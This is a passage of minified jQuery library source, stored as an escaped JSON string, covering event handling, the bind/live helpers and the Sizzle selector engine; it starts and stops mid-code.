k=e,l=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";do{var m=f._data(k,\"handle\");c.currentTarget=k,m\u0026\u0026m.apply(k,d),l\u0026\u0026f.acceptData(k)\u0026\u0026k[l]\u0026\u0026k[l].apply(k,d)===!1\u0026\u0026(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument\u0026\u0026a}while(k\u0026\u0026!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)){try{l\u0026\u0026e[h]\u0026\u0026(n=e[l],n\u0026\u0026(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n\u0026\u0026(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,\"events\")||{})[c.type]||[]).slice(0),e=!c.exclusive\u0026\u0026!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h\u003ci;h++){var j=d[h];if(e||c.namespace_re.test(j.namespace)){c.handler=j.handler,c.data=j.data,c.handleObj=j;var k=j.handler.apply(this,g);k!==b\u0026\u0026(c.result=k,k===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()));if(c.isImmediatePropagationStopped())break}}return c.result},props:\"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),fix:function(a){if(a[f.expando])return a;var d=a;a=f.Event(d);for(var e=this.props.length,g;e;)g=this.props[--e],a[g]=d[g];a.target||(a.target=a.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),!a.relatedTarget\u0026\u0026a.fromElement\u0026\u0026(a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement);if(a.pageX==null\u0026\u0026a.clientX!=null){var h=a.target.ownerDocument||c,i=h.documentElement,j=h.body;a.pageX=a.clientX+(i\u0026\u0026i.scrollLeft||j\u0026\u0026j.scrollLeft||0)-(i\u0026\u0026i.clientLeft||j\u0026\u0026j.clientLeft||0),a.pageY=a.clientY+(i\u0026\u0026i.scrollTop||j\u0026\u0026j.scrollTop||0)-(i\u0026\u0026i.clientTop||j\u0026\u0026j.clientTop||0)}a.which==null\u0026\u0026(a.charCode!=null||a.keyCode!=null)\u0026\u0026(a.which=a.charCode!=null?a.charCode:a.keyCode),!a.metaKey\u0026\u0026a.ctrlKey\u0026\u0026(a.metaKey=a.ctrlKey),!a.which\u0026\u0026a.button!==b\u0026\u0026(a.which=a.button\u00261?1:a.button\u00262?3:a.button\u00264?2:0);return a},guid:1e8,proxy:f.proxy,special:{ready:{setup:f.bindReady,teardown:f.noop},live:{add:function(a){f.event.add(this,M(a.origType,a.selector),f.extend({},a,{handler:L,guid:a.handler.guid}))},remove:function(a){f.event.remove(this,M(a.origType,a.selector),a)}},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}}},f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!this.preventDefault)return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?D:C):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=D;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=D;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=D,this.stopPropagation()},isDefaultPrevented:C,isPropagationStopped:C,isImmediatePropagationStopped:C};var E=function(a){var b=a.relatedTarget,c=!1,d=a.type;a.type=a.data,b!==this\u0026\u0026(b\u0026\u0026(c=f.contains(this,b)),c||(f.event.handle.apply(this,arguments),a.type=d))},F=function(a){a.type=a.data,f.event.handle.apply(this,arguments)};f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={setup:function(c){f.event.add(this,b,c\u0026\u0026c.selector?F:E,a)},teardown:function(a){f.event.remove(this,b,a\u0026\u0026a.selector?F:E)}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(a,b){if(!f.nodeName(this,\"form\"))f.event.add(this,\"click.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"submit\"||c===\"image\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026J(\"submit\",this,arguments)}),f.event.add(this,\"keypress.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"text\"||c===\"password\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026a.keyCode===13\u0026\u0026J(\"submit\",this,arguments)});else return!1},teardown:function(a){f.event.remove(this,\".specialSubmit\")}});if(!f.support.changeBubbles){var G,H=function(a){var b=f.nodeName(a,\"input\")?a.type:\"\",c=a.value;b===\"radio\"||b===\"checkbox\"?c=a.checked:b===\"select-multiple\"?c=a.selectedIndex\u003e-1?f.map(a.options,function(a){return a.selected}).join(\"-\"):\"\":f.nodeName(a,\"select\")\u0026\u0026(c=a.selectedIndex);return c},I=function(c){var d=c.target,e,g;if(!!x.test(d.nodeName)\u0026\u0026!d.readOnly){e=f._data(d,\"_change_data\"),g=H(d),(c.type!==\"focusout\"||d.type!==\"radio\")\u0026\u0026f._data(d,\"_change_data\",g);if(e===b||g===e)return;if(e!=null||g)c.type=\"change\",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:I,beforedeactivate:I,click:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(c===\"radio\"||c===\"checkbox\"||f.nodeName(b,\"select\"))\u0026\u0026I.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(a.keyCode===13\u0026\u0026!f.nodeName(b,\"textarea\")||a.keyCode===32\u0026\u0026(c===\"checkbox\"||c===\"radio\")||c===\"select-multiple\")\u0026\u0026I.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,\"_change_data\",H(b))}},setup:function(a,b){if(this.type===\"file\")return!1;for(var c in G)f.event.add(this,c+\".specialChange\",G[c]);return x.test(this.nodeName)},teardown:function(a){f.event.remove(this,\".specialChange\");return x.test(this.nodeName)}},G=f.event.special.change.filters,G.focus=G.beforeactivate}f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()\u0026\u0026a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.each([\"bind\",\"one\"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a==\"object\"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c===\"one\"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a===\"unload\"\u0026\u0026c!==\"one\")this.one(a,d,e);else for(var i=0,j=this.length;i\u003cj;i++)f.event.add(this[i],a,g,d);return this}}),f.fn.extend({unbind:function(a,b){if(typeof a==\"object\"\u0026\u0026!a.preventDefault)for(var c in a)this.unbind(c,a[c]);else for(var d=0,e=this.length;d\u003ce;d++)f.event.remove(this[d],a,b);return this},delegate:function(a,b,c,d){return this.live(b,c,d,a)},undelegate:function(a,b,c){return arguments.length===0?this.unbind(\"live\"):this.die(b,null,c,a)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f.data(this,\"lastToggle\"+a.guid)||0)%d;f.data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var K={focus:\"focusin\",blur:\"focusout\",mouseenter:\"mouseover\",mouseleave:\"mouseout\"};f.each([\"live\",\"die\"],function(a,c){f.fn[c]=function(a,d,e,g){var h,i=0,j,k,l,m=g||this.selector,n=g?this:f(this.context);if(typeof a==\"object\"\u0026\u0026!a.preventDefault){for(var o in a)n[c](o,d,a[o],m);return this}if(c===\"die\"\u0026\u0026!a\u0026\u0026g\u0026\u0026g.charAt(0)===\".\"){n.unbind(g);return this}if(d===!1||f.isFunction(d))e=d||C,d=b;a=(a||\"\").split(\" \");while((h=a[i++])!=null){j=w.exec(h),k=\"\",j\u0026\u0026(k=j[0],h=h.replace(w,\"\"));if(h===\"hover\"){a.push(\"mouseenter\"+k,\"mouseleave\"+k);continue}l=h,K[h]?(a.push(K[h]+k),h=h+k):h=(K[h]||h)+k;if(c===\"live\")for(var p=0,q=n.length;p\u003cq;p++)f.event.add(n[p],\"live.\"+M(h,m),{data:d,selector:m,handler:e,origType:h,origHandler:e,preType:l});else n.unbind(\"live.\"+M(h,m),e)}return this}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.bind(b,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}if(i.nodeType===1){f||(i.sizcache=c,i.sizset=g);if(typeof b!=\"string\"){if(i===b){j=!0;break}}else if(k.filter(b,[i]).length\u003e0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}i.nodeType===1\u0026\u0026!f\u0026\u0026(i.sizcache=c,i.sizset=g);if(i.nodeName.toLowerCase()===b){j=i;break}i=i[a]}d[g]=j}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\\\/g,j=/\\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(\"\"),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length\u003e1\u0026\u0026m.exec(b))if(x.length===2\u0026\u0026l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]\u0026\u0026(b+=x.shift()),j=v(b,j)}else{!g\u0026\u0026x.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!w\u0026\u0026l.match.ID.test(x[0])\u0026\u0026!l.match.ID.test(x[x.length-1])\u0026\u0026(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1\u0026\u0026(x[0]===\"~\"||x[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length\u003e0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r=\"\",s==null\u0026\u0026(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)===\"[object Array]\")if(!u)f.push.apply(f,n);else if(d\u0026\u0026d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]\u0026\u0026(n[t]===!0||n[t].nodeType===1\u0026\u0026k.contains(d,n[t]))\u0026\u0026f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]\u0026\u0026n[t].nodeType===1\u0026\u0026f.push(j[t]);else p(n,f);o\u0026\u0026(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},k.matches=function(a,b){return k(a,null,null,b)},k.matchesSelector=function(a,b){return k(b,null,null,[a]).length\u003e0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e\u003cf;e++){var g,h=l.order[e];if(g=l.leftMatch[h].exec(a)){var j=g[1];g.splice(1,1);if(j.substr(j.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(i,\"\"),d=l.find[h](g,b,c);if(d!=null){a=a.replace(l.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},k.filter=function(a,c,d,e){var f,g,h=a,i=[],j=c,m=c\u0026\u0026c[0]\u0026\u0026k.isXML(c[0]);while(a\u0026\u0026c.length){for(var n in l.filter)if((f=l.leftMatch[n].exec(a))!=null\u0026\u0026f[2]){var o,p,q=l.filter[n],r=f[1];g=!1,f.splice(1,1);if(r.substr(r.length-1)===\"\\\\\")continue;j===i\u0026\u0026(i=[]);if(l.preFilter[n]){f=l.preFilter[n](f,j,d,i,e,m);if(!f)g=o=!0;else if(f===!0)continue}if(f)for(var s=0;(p=j[s])!=null;s++)if(p){o=q(p,f,s,j);var t=e^!!o;d\u0026\u0026o!=null?t?g=!0:j[s]=!1:t\u0026\u0026(i.push(p),g=!0)}if(o!==b){d||(j=i),a=a.replace(l.match[n],\"\");if(!g)return[];break}}if(a===h)if(g==null)k.error(a);else break;h=a}return j},k.error=function(a){throw\"Syntax error, unrecognized expression: \"+a};var l=k.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!j.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026k.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!j.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026k.filter(b,a,!0)}},\"\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"parentNode\",b,f,a,e,c)},\"~\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"previousSibling\",b,f,a,e,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(i,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,\"\")},TAG:function(a,b){return a[1].replace(i,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,\"\");!f\u0026\u0026l.attrMap[g]\u0026\u0026(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(i,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||k.getText([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}k.error(e)},CHILD:function(a,b){var c=b[1],d=a;switch(c){case\"only\":case\"first\":while(d=d.previousSibling)if(d.nodeType===1)return!1;if(c===\"first\")return!0;d=a;case\"last\":while(d=d.nextSibling)if(d.nodeType===1)return!1;return!0;case\"nth\":var e=b[2],f=b[3];if(e===1\u0026\u0026f===0)return!0;var g=b[0],h=a.parentNode;if(h\u0026\u0026(h.sizcache!==g||!a.nodeIndex)){var i=0;for(d=h.firstChild;d;d=d.nextSibling)d.nodeType===1\u0026\u0026(d.nodeIndex=++i);h.sizcache=g}var j=a.nodeIndex-f;return e===0?j===0:j%e===0\u0026\u0026j/e\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return\"\\\\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+l.match[o].source.replace(/\\\\(\\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var f=a.length;c\u003cf;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var r,s;c.documentElement.compareDocumentPosition?r=function(a,b){if(a===b){g=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(r=function(a,b){if(a===b){g=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],h=a.parentNode,i=b.parentNode,j=h;if(h===i)return s(a,b);if(!h)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return s(e[k],f[k]);return k===c?s(a,f[k],-1):s(e[k],b,1)},s=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),k.getText=function(a){var b=\"\",c;for(var d=0;a[d];d++)c=a[d],c.nodeType===3||c.nodeType===4?b+=c.nodeValue:c.nodeType!==8\u0026\u0026(b+=k.getText(c.childNodes));return b},function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(l.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(l.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=k,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){k=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!k.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026l.find.CLASS\u0026\u0026e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return p([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var m=e,n=e.getAttribute(\"id\"),o=n||d,q=e.parentNode,r=/^\\s*[+~]/.test(b);n?o=o.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",o),r\u0026\u0026q\u0026\u0026(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll(\"[id='\"+o+\"'] \"+b),f)}catch(s){}finally{n||m.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;l.order.splice(1,0,\"CLASS\"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var 